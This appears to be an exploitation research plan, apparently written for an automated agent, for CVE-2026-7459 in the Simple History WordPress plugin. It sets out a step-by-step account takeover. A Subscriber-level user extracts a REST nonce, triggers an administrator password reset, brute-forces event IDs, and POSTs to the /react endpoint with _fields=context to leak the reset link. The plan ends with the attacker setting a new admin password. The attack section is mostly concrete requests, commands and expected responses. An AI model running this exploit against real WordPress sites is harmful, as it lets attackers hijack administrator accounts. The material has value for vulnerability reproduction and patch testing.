Exploitation Research Plan: CVE-2026-7459 - Simple History Account Takeover

1. Vulnerability Summary

The Simple History plugin for WordPress is vulnerable to an authenticated account takeover in versions up to and including 5.26.0. The vulnerability exists in the REST API reaction endpoints (/react and /unreact).

While the primary event retrieval endpoints (like GET /events/<id>) implement strict capability checks via get_item_permissions_check(), the reaction endpoints incorrectly use get_items_permissions_check() as their permission_callback. This callback only verifies that the user is logged in, failing to enforce per-logger or per-event capability checks. Consequently, a Subscriber-level user can perform a POST request to the reaction endpoint for any event ID. By utilizing the global WordPress REST API _fields parameter, the attacker can force the endpoint to return the full context of the event, which includes sensitive information like administrator password reset links logged by the SimpleUserLogger.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/simple-history/v1/events/(?P<id>[\d]+)/react
• Query Parameters: _fields=context
• Body Parameters: type=thumbsup (or any valid reaction type from get_allowed_reaction_types())
• Authentication: Authenticated (Subscriber or higher).
• Precondition: The "Experimental Features" option must be enabled (simple_history_experimental_features_enabled).

3. Code Flow

1. Route Registration: In inc/class-wp-rest-events-controller.php, the register_routes() method registers the react endpoint:

   // From inc/class-wp-rest-events-controller.php
   register_rest_route(
       $this->namespace,
       '/' . $this->rest_base . '/(?P<id>[\d]+)/react',
       [
           'args' => [ ... ],
           [
               'methods'             => WP_REST_Server::CREATABLE,
               'callback'            => [ $this, 'react_to_event' ],
               'permission_callback' => [ $this, 'get_items_permissions_check' ], // VULNERABLE CALLBACK
           ],
       ]
   );
   

2. Permission Check: get_items_permissions_check() is invoked. In this plugin's implementation (located in the controller), it typically returns is_user_logged_in(), allowing any Subscriber.
3. Callback Execution: react_to_event() is called. It retrieves the event object by the provided id.
4. Data Leakage: The method completes the reaction logic and returns the event object. The WordPress REST API infrastructure processes this return value, applying the _fields filter. Because the permission check was bypassed, the context data (which usually contains keys like user_requested_password_reset_link) is serialized and returned to the Subscriber.

4. Nonce Acquisition Strategy

The REST API requires a wp_rest nonce for POST requests. As an authenticated user (Subscriber), the attacker can easily obtain this from the WordPress admin dashboard.

1. Setup: Ensure the Subscriber user is logged in.
2. Navigation: Navigate to the /wp-admin/profile.php or any standard admin page.
3. Extraction: Use browser_eval to extract the nonce from the global wpApiSettings object:
   • Command: browser_eval("window.wpApiSettings?.nonce")
4. Alternative: If wpApiSettings is not available, the nonce can be found in the inline script block containing _wpRestNonce.

5. Exploitation Strategy

1. Setup Environment:
   • Log in as the Subscriber (attacker).
   • Identify the username of the target Administrator (e.g., admin).
2. Trigger Reset:
   • Send a request to wp-login.php?action=lostpassword for the Administrator account. This causes SimpleUserLogger to create a log entry containing the reset link.
3. Discover Event ID:
   • Simple History IDs are incremental. The attacker can predict the ID by checking a recent event they can see or by brute-forcing IDs starting from the current maximum.
4. Leak Reset Link:
   • Perform a POST request to the reaction endpoint for the guessed ID.
   • Request:

     POST /wp-json/simple-history/v1/events/[ID]/react?_fields=context
     Host: [TARGET]
     Content-Type: application/x-www-form-urlencoded
     X-WP-Nonce: [EXTRACTED_NONCE]
     
     type=thumbsup
     

5. Parse Response:
   • If the ID is correct, the response will look like:

     {
       "context": {
         "user_requested_password_reset_link": "https://[TARGET]/wp-login.php?action=rp&key=[KEY]&login=admin",
         "message": "Requested a password reset link for user {user_login}..."
       }
     }
     

6. Takeover: Use the extracted user_requested_password_reset_link to set a new password for the Administrator.

6. Test Data Setup

1. Enable Plugin: Install Simple History 5.26.0.
2. Configure Plugin:
   • wp option update simple_history_experimental_features_enabled 1
3. Users:
   • Administrator: admin_user / admin@example.com
   • Subscriber: attacker_user / attacker@example.com
4. Trigger Event:
   • Use wp-login.php to request a password reset for admin_user.

7. Expected Results

• The POST request to /react succeeds (HTTP 200/201).
• The response body contains the context object.
• The context object contains the user_requested_password_reset_link key.
• Accessing the extracted link allows changing the Admin's password.

8. Verification Steps

1. Check DB: Verify a reaction was added to the event via CLI: wp db query "SELECT * FROM wp_simple_history_contexts WHERE history_id = [ID] AND key = '_reaction_thumbsup'" (the plugin stores reactions in context).
2. Login Test: Attempt to log in with the new Administrator password set during the reset process.

9. Alternative Approaches

If _fields=context does not return the full array in a specific environment, the attacker can try:

• No _fields: Request the full object and look for context in the default response.
• unreact Endpoint: The POST /wp-json/simple-history/v1/events/<id>/unreact endpoint shares the same flawed permission callback.
• Brute Force: If the ID is unknown, use a simple script to iterate IDs X to X+50 relative to the timestamp of the password reset request.